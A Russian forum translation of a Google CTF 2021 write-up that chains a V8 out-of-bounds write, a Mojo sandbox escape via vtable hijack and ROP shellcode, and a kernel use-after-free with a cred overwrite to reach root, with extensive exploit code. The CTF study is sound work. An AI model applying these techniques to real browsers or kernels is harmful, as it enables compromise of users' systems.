• XSS.stack #1 – первый литературный журнал от юзеров форума

PWN От JavaScript до Ядра - Google CTF 2021 Quals "Full Chain" Writeup

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Я участвовал в Google CTF 2021 Quals в zer0pts и работал над несколькими задачами. Из 6 задач, которые я решил во время CTF, мне больше всего понравилась «Full Chain». Эта задача состоит из трех частей: эксплуатация браузера, побег из песочницы и повышение привилегий. Каждая часть очень познавательна и хороша для введения в каждую из областей.

Полный код эксплоита доступен в моём репозитории

Эксплуатация браузера

Первая - это часть эксплуатации браузера. Целевой браузер - последняя версия Google Chrome с некоторыми изменениями в коде. Прежде чем углубляться в подробности эксплуатации браузера, я кратко объясню основы.

Песочница

В Chromium есть 2 типа процессов: рендерер и браузер.

Браузер опасен. Он принимает любой HTML, CSS или JavaScript с сервера, интерпретирует, обрабатывает и выполняет их. Злоумышленники также могут обслуживать некоторые ресурсы и позволять посетителям выполнять их. В частности, JavaScript является хорошей целью для компрометации браузера. Злоумышленники обычно не могут выполнить некоторые системные двоичные файлы или получить доступ к локальным файлам, потому что JavaScript разработан для обеспечения безопасности. Движок JavaScript в Chromium называется V8. Однако некоторые уязвимости в движке JavaScript позволяют им запускать произвольный (машинный) код из-за уязвимости. Поскольку практически все используют браузеры, влияние уязвимости огромно.

Чтобы злоумышленники не могли выполнять команды или получать доступ к локальным файлам, в большинстве современных браузеров есть функция песочницы. Опасная часть браузера (движок JavaScript, анализатор HTML и т. Д.) Выполняется в изолированном процессе (процесс рендеринга), а основная часть (сеть, менеджер файлов cookie и т. Д.) Выполняется в процессе без песочницы (процесс браузера).

Когда мы запускаем браузер, существует один процесс браузера и несколько процессов рендеринга. Процесс рендеринга создается для фрейма, такого как вкладка браузера или iframe. Каждый процесс рендеринга взаимодействует с процессом браузера с помощью IPC (Inter-Process Communication). Chromium использует схему IPC под названием Mojo. Во многих случаях нам нужно использовать процесс браузера через Mojo, если мы хотим выйти из песочницы.

Вы можете почитать официальную документацию для получения более подробной информации о Mojo.

Обязательна ли эксплуатация редерера?
Первая часть задачи связана с эксплуатацией движка JavaScript, работающего в процессе рендеринга. Мы не можем выполнять какие-либо команды, даже если скомпрометируем процесс рендеринга из-за песочницы. С другой стороны, вторая часть задачи - это выход из песочницы, с помощью которой мы можем выполнять любые команды через JavaScript. Итак, зачем нам писать эксплойт для процесса рендеринга?

Уязвимость для выхода из песочницы распологается в процессе браузера. Как я объяснил, мы должны использовать Mojo, чтобы экспуатировать эту уязвимость. Однако Mojo по умолчанию не доступен для JavaScript. Мы можем включить Mojo, изменив флаг (перевернув бит) в движке JavaScript. Вот почему нам нужно эксплуатировать процесс рендеринга перед тем, как переходить к процессу браузера.

Патч анализ
Патч движка JavaScript маленький:

JavaScript:
diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..ac5ebe9913 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -198,7 +198,7 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
   if (targetOffsetOverflowed) goto IfOffsetOutOfBounds;
 
   // 9. Let targetLength be target.[[ArrayLength]].
-  const targetLength = target.length;
+  // const targetLength = target.length;
 
   // 19. Let srcLength be typedArray.[[ArrayLength]].
   const srcLength: uintptr = typedArray.length;
@@ -207,8 +207,8 @@ TypedArrayPrototypeSetTypedArray(implicit context: Context, receiver: JSAny)(
 
   // 21. If srcLength + targetOffset > targetLength, throw a RangeError
   //   exception.
-  CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
-      otherwise IfOffsetOutOfBounds;
+  // CheckIntegerIndexAdditionOverflow(srcLength, targetOffset, targetLength)
+  //     otherwise IfOffsetOutOfBounds;
 
   // 12. Let targetName be the String value of target.[[TypedArrayName]].
   // 13. Let targetType be the Element Type value in Table 62 for

Удаляются только 3 строки в TypedArrayPrototypeSetTypedArray.

Это код «Torque». Движок V8 использует язык Torque для определения поведения встроенных функций в JavaScript. Вышеупомянутая функция, как следует из названия, определяет поведение TypedArray.prototype.set (TypedArray, ...). Итак, изменение коснулось Uint8Array, Uint32Array, Float64Array и так далее.

*Примечание переводчика: Тут игра слов, Torque переводится как "Крутящий момент"

Ошибка довольно очевидна. CheckIntegerIndexAdditionOverflow удаляется из кода, что означает, что буфер может переполниться в методе set типизированного массива. Напишем PoC.
JavaScript:
let x = new Uint32Array(8);
let y = new Uint32Array(8);
x.set(y, 4);
console.log(x);

PoC вызывает падение:
Код:
Received signal 11 SEGV_ACCERR 1e4108020ffc
#0 0x55555bb395c9 base::debug::CollectStackTrace()
#1 0x55555baa4763 base::debug::StackTrace::StackTrace()
#2 0x55555bb390f1 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#3 0x7ffff7f903c0 (/usr/lib/x86_64-linux-gnu/libpthread-2.31.so+0x153bf)
#4 0x1e41000ac78c <unknown>
  r8: 0000000000000000  r9: fffffffffffd5997 r10: 00002a6c002a6259 r11: 0000000000000000
 r12: 00001e410804b664 r13: 00002a6c00520000 r14: 00001e4100000000 r15: 00001e41082278b5
  di: 00001e410804b665  si: 00001e4108226c45  bp: 00007fffffffb5c0  bx: 0000000000000000
  dx: 0000000000000000  ax: 00001e410804b545  cx: 00001e41080023b5  sp: 00007fffffffb598
  ip: 00001e41000ac78c efl: 0000000000010282 cgf: 002b000000000033 erf: 0000000000000007
 trp: 000000000000000e msk: 0000000000000000 cr2: 00001e4108020ffc
[end of stack trace]

Мы объявили два массива Uint32Arrays с 8 элементами. x.set (y, 4); пытается скопировать y в x из 5-го элемента x. Мы можем скопировать только 4 элемента, но ошибка позволяет нам перезаписать буфер.

Примитивы

Используя ошибку, мы собираемся создать несколько «примитивов», чтобы упростить эксплойт. Я предпочитаю использовать ошибку как можно реже.

Вышеупомянутая ошибка связана с записью вне пределов (OOB). Мы можем записать произвольные значения в некоторые смещения.

Addrof Примитив
Первое, что нужно создать, это примитив addrof. Это функция, которая возвращает адрес заданного объекта JavaScript. Мы собираемся сделать этот примитив, потому что нам нужен хотя бы один адрес для создания эксплойта.

JavaScript:
let y = new Uint32Array(1);
let x = new Uint32Array(1);
let oob_double = [1.1, 1.1, 1.1, 1.1];
y.set([2222], 0);
x.set(y, 33);
console.log(oob_double.length);

В приведенном выше коде x.set(y, 33); перезаписывает длину oob_double. (Вы можете легко найти смещение в gdb.) Это приводит к тому, что длина oob_double становится равна 1111.

Теперь у нас есть OOB чтение/запись на oob_double. Мы можем читать некоторые значения в памяти, включая некоторые указатели, как значения с плавающей запятой.

Нам просто нужно подготовить целевой объект к утечке после oob_double и прочитать указатель.
JavaScript:
function make_primitives() {
    let evil   = new Uint32Array(1);
    let victim = new Uint32Array(1);
    let oob_double = [1.1, 1.1, 1.1, 1.1];
    let arr_addrof = [{}];
    evil.set([0x8888], 0);
    victim.set(evil, 33);
    console.log("[+] oob_double.length = " + oob_double.length);
    return [oob_double, arr_addrof];
}
function addrof(obj) {
    arr_addrof[0] = obj;
    return (oob_double[7].f2i() >> 32n) - 1n;
}
let [oob_double, arr_addrof] = make_primitives();
let target = {};
%DebugPrint(target);
console.log(addrof(target).hex());

Будьте осторожны, жестко запрограммированные значения смещения могут измениться по мере разработки эксплойта, но вы можете легко найти его в gdb. PoC выше выводит что-то вроде следующего.
Код:
0x120e0804b9d1 <Object map = 0x120e08246101>
[0726/092053.410523:INFO:CONSOLE(26)] "[+] oob_double.length = 17476", source: file:///home/ptr/google/writeup/poc.js (26)
[0726/092053.410716:INFO:CONSOLE(39)] "0x8246100", source: file:///home/ptr/google/writeup/poc.js (39)

В последней версии V8 64-битные указатели сжимаются в 32-битные, поэтому полученый нами адрес выглядит как 32-битный.

Получение полного указателя
Сжатие указателя несколько затруднительно для создания примитивов AAR/AAW. Иногда вам нужно знать полный адрес объектов JavaScript.

TypedArray - это особый объект, у которого есть полный адрес буфера. Мы можем получить верхний 32-битный адрес JSObjects, прочитав полный адрес типизированного массива.
JavaScript:
let heap_upper = oob_double[28].f2i() & 0xffffffff00000000n;
console.log("[+] heap_upper = " + heap_upper.hex());

AAR/AAW примитив
Как я объяснил, типизированный массив имеет полный адрес буфера. Мы можем перезаписать этот адрес, чтобы сделать произвольное чтение адреса (AAR) примитивом.
JavaScript:
function aar64(addr) {
    oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
    oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
    return www_double[0].f2i();
}

Arbitrary-address-write(AAW) может быть получен таким же образом.
JavaScript:
function aaw64(addr, value) {
    oob_double[28] = ((addr & 0xffffffff00000000n) | 7n).i2f();
    oob_double[29] = (((addr - 8n) | 1n) & 0xffffffffn).i2f();
    www_double[0] = value.i2f();
}

Включение Mojo
Наша цель - включить Mojo, а не выполнять шелл-код.

В Chromium есть несколько флагов, и один из них is_mojo_js_enabled_. Эта переменная может находиться в двоичном файле Chrome. Итак, мы должны узнать адрес бинарного файла Chrome.

Есть много способов утечки текстовой базы, но я выбрал HTMLDivElement. Объект div имеет указатель на экземпляр класса с именем HTMLDivElement. Это данные в двоичном формате хрома, поэтому мы можем вычислить базовый адрес хрома.
JavaScript:
/* Leak chrome base */
let div = document.createElement('div');
let addr_div = heap_upper | addrof(div);
console.log("[+] addr_div = " + addr_div.hex());
let addr_HTMLDivElement = aar64(addr_div + 0xCn);
console.log("[+] <HTMLDivElement> = " + addr_HTMLDivElement.hex());
let chrome_base = addr_HTMLDivElement - 0xc1bb7c0n;
console.log("[+] chrome_base = " + chrome_base.hex());

Теперь включить Mojo очень просто. Мы можем просто перевернуть бит is_mojo_js_enabled_ с помощью примитива AAW.
JavaScript:
/* Enable MojoJS */
console.log("[+] Overwriting flags..");
let addr_flag_MojoJS = chrome_base + 0xc560f0en;
let addr_flag_MojoJSTest = chrome_base + 0xc560f0fn;
aaw64(addr_flag_MojoJS & 0xfffffffffffffff8n, 0x0101010101010101n);
aaw64(addr_flag_MojoJSTest & 0xfffffffffffffff8n, 0x0101010101010101n);

В приведенном выше коде я также меняю флаг is_mojo_js_test_enabled_, который полезен для написания некоторых уязвимостей браузера (особенно гонки), но в конечном итоге я не использовал его.

Успокаиваем garbage collector
Мы должны перезагрузить страницу, чтобы включить Mojo. Однако перезагрузка страницы освобождает созданные нами объекты JavaScript. Сборщик мусора больше не отслеживает эти объекты.

Это огромная проблема. Мы перезаписали некоторые указатели на недопустимые адреса. Сборщик мусора пытается освободить недопустимый адрес и дает сбой. Итак, нам нужно очистить объекты, которые мы испортили, прежде чем сборщик мусора рассердится.

Указатель, который мы перезаписали, - это только массив AAR/AAW. Я сохранил исходный указатель и восстановил его перед редиректом страницы.
JavaScript:
    let original_28 = oob_double[28];
    let original_29 = oob_double[29];
...
    function cleanup() {
        oob_double[28] = original_28;
        oob_double[29] = original_29;
    }
...
    /* Cleanup */
    cleanup();
    window.location.href = "/sbx_exploit.html";

Побег из песочницы
Вторая часть - это побег из песочницы.

Патч анализ
Патч для эксплойта браузера немного великоват. На этот раз патч реализует новую функцию, а не вносит ошибку в существующую.

Патч реализует интерфейс Mojo с именем CtfInterface.
C:
interface CtfInterface {
  ResizeVector(uint32 size) => ();
  Read(uint32 offset) => (double value);
  Write(double value, uint32 offset) => ();
};

Мы можем выделить вектор произвольного размера.
C:
void CtfInterfaceImpl::ResizeVector(uint32_t size,
                                    ResizeVectorCallback callback) {
  numbers_.resize(size);
  std::move(callback).Run();
}

Уязвимость заключается в методах Read и Write, с помощью которых мы можем читать/записывать вектор вне границ.
C:
void CtfInterfaceImpl::Read(uint32_t offset, ReadCallback callback) {
  std::move(callback).Run(numbers_[offset]);
}
void CtfInterfaceImpl::Write(double value,
                             uint32_t offset,
                             WriteCallback callback) {
  numbers_[offset] = value;
  std::move(callback).Run();
}

Утечка адреса
Не только эксплойты браузера, но и большинство реальных эксплойтов идут по тому же пути.
  1. Утечка адреса
  2. Получение AAR/AAW
  3. Контроль RIP
Утечки адреса достичь легко, потому что у нас есть OOB в куче.

Проблема в том, что мы не можем предсказать, какие объекты появятся после уязвимого вектора из-за тяжелой многопроцессорной системы. Моя идея состоит в том, чтобы распылить CtfInterface и выделить вектор того же размера, что и CtfInterface. Тогда, вероятно, рядом с вектором будет экземпляр CtfInterface.

Я написал скрипт для поиска определенного шаблона в памяти для утечки желаемого указателя
JavaScript:
    /* Find evil */
    let addr_evil = null;
    let addr_elm = null;
    let chrome_base = null;
    for (let i = 1; i < 0x80; i++) {
        let a0 = (await evil.read((0x60 / 8) * i + 0)).value.f2i();
        let a1 = (await evil.read((0x60 / 8) * i + 1)).value.f2i();
        let a2 = (await evil.read((0x60 / 8) * i + 2)).value.f2i();
        if (a0 != 0n && a1 == 0n && a2 == 0n) {
            let a6 = (await evil.read((0x60 / 8) * i + 6)).value.f2i();
            let a7 = (await evil.read((0x60 / 8) * i + 7)).value.f2i();
            addr_evil = a0;
            addr_elm = a6 - 0x18n - BigInt(0x60 * i);
            chrome_base = a7 - 0xbc77518n;
            break;
        }
    }
    if (addr_elm == null) {
        console.log("[-] Bad luck!");
        return location.reload();
    }
    let offset = Number((addr_evil - addr_elm) / 8n);
    console.log("[+] offset = " + offset);
    if (offset < 0) {
        console.log("[-] Bad luck!");
        return location.reload();
    }
    console.log("[+] addr_evil = " + addr_evil.hex());
    console.log("[+] addr_elm = " + addr_elm.hex());
    console.log("[+] chrome_base = " + chrome_base.hex());

Вышеупомянутый эксплойт приводит к утечке адреса базы данных экземпляра, вектора и хрома. Код вычисляет смещение к экземпляру CtfInterface от вектора. Он перезапускает эксплойт (с помощью location.reload()), если смещение отрицательное, потому что пока у нас есть только положительное чтение/запись OOB.

Примитивы AAR/AAW
Когда мы нашли адрес экземпляра CtfInterface, мы можем перезаписать указатели в std::vector. Это мощно, потому что мы можем получить примитивы AAR/AAW, изменив указатель элемента вектора.

JavaScript:
    async function aar64(addr) {
        await evil.write(addr.i2f(),
                         offset + (0x60 / 8) * victim_ofs + 1);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 2);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 3);
        return (await victim.read(0)).value.f2i();
    }
    async function aaw64(addr, value) {
        await evil.write(addr.i2f(),
                         offset + (0x60 / 8) * victim_ofs + 1);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 2);
        await evil.write((addr + 0x10n).i2f(),
                         offset + (0x60 / 8) * victim_ofs + 3);
        await victim.write(value.i2f(), 0);
    }

На самом деле AAR и AAW не нужны для эксплуатации этой уязвимости. Во всяком случае, это лучше, чем ничего.

Перехват Vtable
Итак, как управлять RIP?

Я думаю, что самый простой способ - это захватить vtable CtfInterface. Многие экземпляры в Chromium, включая интерфейс Mojo, имеют собственные таблицы функций для обработки некоторых виртуальных методов. Таблица vtable записывается в куче (первое qword каждого объекта), и мы можем просто перезаписать ее.

Изменив vtable на нашу поддельную vtable, мы можем управлять RIP при использовании измененного объекта. (Мы можем подготовить vtable в куче, потому что у нас есть адрес кучи, или написать куда-нибудь еще, потому что у нас также есть примитив AAW.)

После получения контроля над RIP естественно использовать стек Pivot для запуска нашей ROP-цепочки. Я использовал xchg rax, rsp; ret; гаджет и вызвал mprotect в цепочке ROP для выполнения моего шелл-кода.
JavaScript:
    let rop_pop_rdi = chrome_base + 0x035d445dn;
    let rop_pop_rsi = chrome_base + 0x0348edaen;
    let rop_pop_rdx = chrome_base + 0x03655332n;
    let rop_pop_rax = chrome_base + 0x03419404n;
    let rop_syscall = chrome_base + 0x0800dd77n;
    let rop_xchg_rax_rsp = chrome_base + 0x0590510en
    let addr_shellcode = addr_elm & 0xfffffffffffff000n;
    let rop = [
        rop_pop_rdi,
        addr_shellcode,
        rop_pop_rsi,
        rop_xchg_rax_rsp, // vtable target
        rop_pop_rsi,
        0x2000n,
        rop_pop_rdx,
        7n,
        rop_pop_rax,
        10n,
        rop_syscall,
        addr_shellcode
    ];
    for (let i = 0; i < rop.length; i++) {
        await evil.write(rop[i].i2f(), i);
    }
    for (let i = 0; i < shellcode.length; i++) {
        await aaw64(addr_shellcode + BigInt(i*8), shellcode[i].f2i());
    }
    await aaw64(addr_evil, addr_elm);
    setTimeout(() => {
        for (let p of spray) {
            p.read(0); // Control RIP
        }
    }, 3000);

Теперь мы можем запускать произвольный шеллкод. Просто напишите шелл-код, который выполнит /bin/bash :)

Повышение привилегий
Последняя часть - это эксплуатация ядра.

Анализ драйвера
Ядро загружает уязвимый драйвер ctfdevice. Это позволяет нам размещать и освобождать данные произвольного размера.
C:
static ssize_t ctf_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
  struct ctf_data *data = f->private_data;
  char *mem;
  switch(cmd) {
  case 1337:
    if (arg > 2000) {
      return -EINVAL;
    }
    mem = kmalloc(arg, GFP_KERNEL);
    if (mem == NULL) {
      return -ENOMEM;
    }
    data->mem = mem;
    data->size = arg;
    break;
  case 1338:
    kfree(data->mem);
    break;
  default:
    return -ENOTTY;
  }
  return 0;
}

Вы можете видеть, что указатель data->mem не равен NULL после kfree. Однако для чтения и записи могут использоваться data->mem даже после того, как они освобождены.
C:
static ssize_t ctf_read(struct file *f, char __user *data, size_t size, loff_t *off)
{
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;
  }
  if (copy_to_user(data, ctf_data->mem, size)) {
    return -EFAULT;
  }
  return size;
}
static ssize_t ctf_write(struct file *f, const char __user *data, size_t size, loff_t *off)
{
  struct ctf_data *ctf_data = f->private_data;
  if (size > ctf_data->size) {
    return -EINVAL;
  }
  if (copy_from_user(ctf_data->mem, data, size)) {
    return -EFAULT;
  }
  return size;
}

Очевидно, что это Use-after-Free.

Основная идея использования Use-after-Free такая же, как и Use-after-Free в пользовательском режиме. Однако User-after-Free на уровне ядра намного сильнее. Это связано с тем, что любые объекты, выделенные ядром, могут повлиять на уязвимость.

Утечка адреса
Год назад я написал статью на японском, в которой объясняются некоторые структуры, полезные для эксплойтов ядра. Как объясняется в статье, tty_struct - хорошая цель. Это может вызвать утечку указателя ядра, указателя кучи, а также полезно для управления RIP. Этот объект выделяется, когда мы открываем /dev/ptmx.

Я распылил этот объект после освобождения data->mem. После распыления вполне вероятно, что data->mem перекрывается с одним из распыленных объектов tty_struct.
C:
  /* Leak addresses */
  dev_new(0x3f0);
  dev_delete();
  for (int i = 0; i < 0x100; i++) {
    spray[i] = open("/dev/ptmx", O_NOCTTY | O_RDONLY);
  }
  memset(buf, 0, sizeof(buf));
  dev_read((void*)buf, 0x2e0);
  kbase = buf[3] - (0xffffffff820745e0 - 0xffffffff81000000);
  kheap = buf[8] - 0x38;
  printf("[+] kbase = 0x%lx\n", kbase);
  printf("[+] kheap = 0x%lx\n", kheap);

Примитивы AAR/AAW
Tty_struct имеет таблицу функций (tty_operations) с именем ops. Мы перезаписываем его фальшивым указателем таблицы функций и запускаем некоторые операции, такие как ioctl, с файловым дескриптором /dev/ptmx для управления RIP. Вопрос в том, куда прыгать.

По сути, есть два способа повысить привилегии.
  1. Вызовите commit_creds(prepare_kernel_cred(NULL)), чтобы получить привилегии root
  2. Перезаписать EUID структуры cred собственного процесса
Вы можете выбрать любой способ, но я выбрал второй способ.

EUID, UID, GID и т. Д. Хранятся в структуре с именем cred. Этот объект выделяется в куче для каждого процесса, и на него ссылается структура с именем task_struct. task_struct также выделяется в куче для каждого процесса.

Итак, нам нужны примитивы AAR и AAW для утечки указателя объекта cred. Но как их получить?

Два года назад корейский исследователь безопасности pr0cf5 обнаружил и опубликовал методику преобразования RIP-контроля в AAR/AAW. Вы можете прочитать его статью для получения более подробной информации. Это очень полезный и мощный метод, и я тоже использовал его в этой задаче. По сути, нам просто нужно найти такой гаджет ROP для AAR:
Код:
mov rax, [rdx]; ret;

И для AAW:
Код:
mov [rdx], ecx; ret;

Очень вероятно, что в ядре Linux есть такие ROP гаджеты.
C:
void aaw32(unsigned long address, unsigned int value) {
  unsigned long *fake_ops = &buf[0x300 / 8];
  buf[3] = kheap + ((void*)fake_ops - (void*)buf);
  fake_ops[12] = rop_mov_prdx_ecx;
  dev_write((void*)buf, 0x3f0);
  for (int i = 0; i < 0x100; i++) {
    ioctl(spray[i], value, address);
  }
}
int ofs_cache;
unsigned int aar32(unsigned long address) {
  unsigned long *fake_ops = &buf[0x300 / 8];
  buf[3] = kheap + ((void*)fake_ops - (void*)buf);
  fake_ops[12] = rop_mov_rax_prdx;
  dev_write((void*)buf, 0x3f0);
  for (int i = 0; i < 0x100; i++) {
    int result = ioctl(spray[i], 0, address);
    ofs_cache = i;
    if (result != -1)
      return result;
  }
}

Поиск учетных данных
Следующий вопрос - как найти task_struct текущего процесса.

В task_struct есть член с именем comm.
C:
 /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu       *real_cred;
    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu       *cred;
    /*
    * executable name, excluding path.
    *
    * - normally initialized setup_new_exec()
    * - access it with [gs]et_task_comm()
    * - lock it with task_lock()
    */
    char               comm[TASK_COMM_LEN];

Эта строка определяет имя текущего исполняемого файла. Мы можем изменить его с помощью функции prctl вот так.
C:
prctl(PR_SET_NAME, "HELLO");
Если мы запустим приведенный выше код, comm текущей структуры будет перезаписан строкой «HELLO».

Таким образом, он может поставить маркер в task_struct текущего процесса. Мы можем искать маркер в памяти, используя примитив AAR. Если мы найдем маркер, мы также можем прочитать указатель cred и затем перезаписать EUID на 0 (=root).
C:
 /* Search for task_struct */
  prctl(PR_SET_NAME, "legoshi");
  if (aar32(kbase) != 0x51258d48) {
    puts("AAR is not working");
    return 1;
  }
  unsigned long addr_cred = 0;
  for (unsigned long cur = kheap - 0x10008;
       cur > kheap - 0x10000000;
       cur -= 0x10) {
    if ((cur & 0xfffff) == 8) {
      printf("[*] Searching... (0x%lx)\n", cur);
    }
    if (aar32(cur) == 0x6f67656c) {
      printf("[+] Found: 0x%lx\n", cur);
      addr_cred = ((unsigned long)aar32(cur-0x14) << 32) | aar32(cur-0x18);
      break;
    }
  }
  printf("[+] cred = 0x%lx\n", addr_cred);
  /* Overwrite EUID */
  for (int i = 1; i <= 8; i++) {
    aaw32(addr_cred + 4*i, 0);
  }
  printf("[+] Done!");

Заключение
Полные эксплойт (и эксплойты для каждого этапа) доступны в моем репозитории.

Подводя итог, я написал эксплойт для рендерера, браузера и ядра. Уязвимость рендерера заключалась в переполнении буфера кучи. Уязвимость браузера заключалась в том, что доступ к массиву в куче был out-of-bounds. Уязвимость ядра заключалась в use-after-free. Я думаю, что каждая из уязвимостей настолько проста, что мы можем сосредоточиться на эксплойте, что хорошо для образовательных целей.

К счастью, я смог получить first blood на этом испытании :) Хочу поблагодарить автора за такое замечательное задание!

От ТС
Замечательная статья для тех, кто хочет понять что из себя представляют и как реализуются full chain эксплойты. Оригинал доступен тут

Немного внутренней кухни:
В последнее время я стал делать меньше переводов, а те, что уже взял - задерживаются. Прошу прощения. Сейчас очень много дел, и времени на переводы почти не остаётся.
Постараюсь вернуться к прежнему темпу ближе к началу сентября.

Перевод:
Azrv3l cпециально для xss.pro
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Мы не можем выполнять какие-либо команды, даже если скомпрометируем процесс рендеринга из-за песочницы. С другой стороны, вторая часть задачи - это выход из песочницы, с помощью которой мы можем выполнять любые команды через JavaScript.
Кстати говоря можно использовать хардварные баги.

Тут чел RIDL использует
а тут всё тоже самое, только в статье
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх